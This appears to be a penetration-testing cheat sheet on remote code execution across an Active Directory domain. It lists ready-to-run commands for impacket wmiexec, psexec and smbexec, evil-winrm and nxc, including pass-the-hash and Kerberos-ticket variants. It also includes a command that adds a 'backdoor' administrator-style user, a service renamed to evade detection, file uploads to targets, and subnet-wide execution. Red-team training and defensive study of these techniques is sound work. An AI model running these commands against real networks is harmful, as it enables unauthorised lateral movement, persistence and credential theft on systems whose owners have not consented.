Skip to content
HackIndex logo

HackIndex

Remote Execution in Active Directory

4 min read May 6, 2026

With valid credentials or hashes on a domain host, several execution primitives are available. Each leaves a different footprint and requires different rights. The choice matters depending on what defensive tooling is present and what access level you have on the target.

Local administrator access is required for most of these techniques. Confirm this first with a quick nxc check before running anything interactive.

┌──(kali㉿kali)-[~]
└─$ # Pwn3d! = local admin on that host
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -H $NTHASH 
SMB  10.10.10.20  445  WS01  [+] corp.local\jsmith:Password1! (Pwn3d!)

WMI execution

WMI-based execution does not drop a binary to disk and does not create a visible service. It is the least noisy of the common remote execution methods. impacket-wmiexec spawns a semi-interactive shell through WMI command invocation.

┌──(kali㉿kali)-[~]
└─$ # Interactive shell via WMI
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Single command execution
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -nooutput 'net user backdoor Password123! /add'
 
┌──(kali㉿kali)-[~]
└─$ # Kerberos ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$USER.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass 
C:\Windows\system32> whoami
corp\jsmith
C:\Windows\system32> hostname
WS01

PSExec

PSExec drops a service binary to the ADMIN$ share and creates a temporary service for code execution. This gives a SYSTEM-level shell but is noisy — it generates service creation events and leaves artefacts in the registry. Use when stealth is not a concern or when WMI is blocked.

┌──(kali㉿kali)-[~]
└─$ # Interactive SYSTEM shell
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Kerberos ticket
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass
 
┌──(kali㉿kali)-[~]
└─$ # Specify custom service name (avoids detection by service name)
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -service-name legitservice 
C:\Windows\system32> whoami
nt authority\system

SMBExec

SMBExec executes commands by creating and immediately deleting a service on the target — it does not drop a binary to disk. Output is written to a temporary file on the target and read back over SMB. Slower than wmiexec but more reliable in restricted environments where ADMIN$ write is blocked.

┌──(kali㉿kali)-[~]
└─$ # Interactive shell via SMB service execution
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Specify share if ADMIN$ is restricted
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -share C$ 
C:\Windows\system32> whoami
nt authority\system

WinRM execution

WinRM gives a PowerShell-based remote session over port 5985 or 5986. The target account must be in the Remote Management Users group or have explicit WinRM access. evil-winrm provides a feature-rich interface including file upload/download and in-memory script loading.

┌──(kali㉿kali)-[~]
└─$ # Cleartext credentials
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -H $NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Kerberos ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$USER.ccache
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_HOSTNAME -u $USER -r $DOMAIN
 
┌──(kali㉿kali)-[~]
└─$ # Upload file to target
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
┌──(kali㉿kali)-[~]
└─$ # then inside session:
┌──(kali㉿kali)-[~]
└─$ upload /path/to/local/file.exe C:\Windows\Temp\file.exe
 
┌──(kali㉿kali)-[~]
└─$ # Download file from target
┌──(kali㉿kali)-[~]
└─$ download C:\Windows\Temp\output.txt /tmp/output.txt 
*Evil-WinRM* PS C:\Users\jsmith\Documents>

nxc command execution

nxc supports inline command execution across multiple hosts in a single pass. Use this for quick collection tasks or to run commands across a subnet before establishing an interactive session.

┌──(kali㉿kali)-[~]
└─$ # Single command on one host
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -x 'whoami'
 
┌──(kali㉿kali)-[~]
└─$ # PowerShell command
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD -X 'Get-LocalGroupMember Administrators'
 
┌──(kali㉿kali)-[~]
└─$ # Execute across subnet
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH -x 'whoami' --no-bruteforce
 
┌──(kali㉿kali)-[~]
└─$ # WMI-based execution (no SMB exec)
┌──(kali㉿kali)-[~]
└─$ nxc wmi $TARGET_IP -u $USER -p $PASSWORD -x 'ipconfig' 
SMB  10.10.10.20  445  WS01  corp\jsmith
SMB  10.10.10.30  445  WS02  corp\jsmith

Execution method comparison

Method

Privilege required

Disk artefact

Shell level

wmiexec

Local admin

None

User context

psexec

Local admin

Service binary

SYSTEM

smbexec

Local admin

None

SYSTEM

evil-winrm

Remote Management Users

None

User context

After gaining execution on a new host, run Situational Awareness to map what the new context can reach, then Credential Harvesting to collect hashes and tickets from LSASS and credential stores on the new host.

References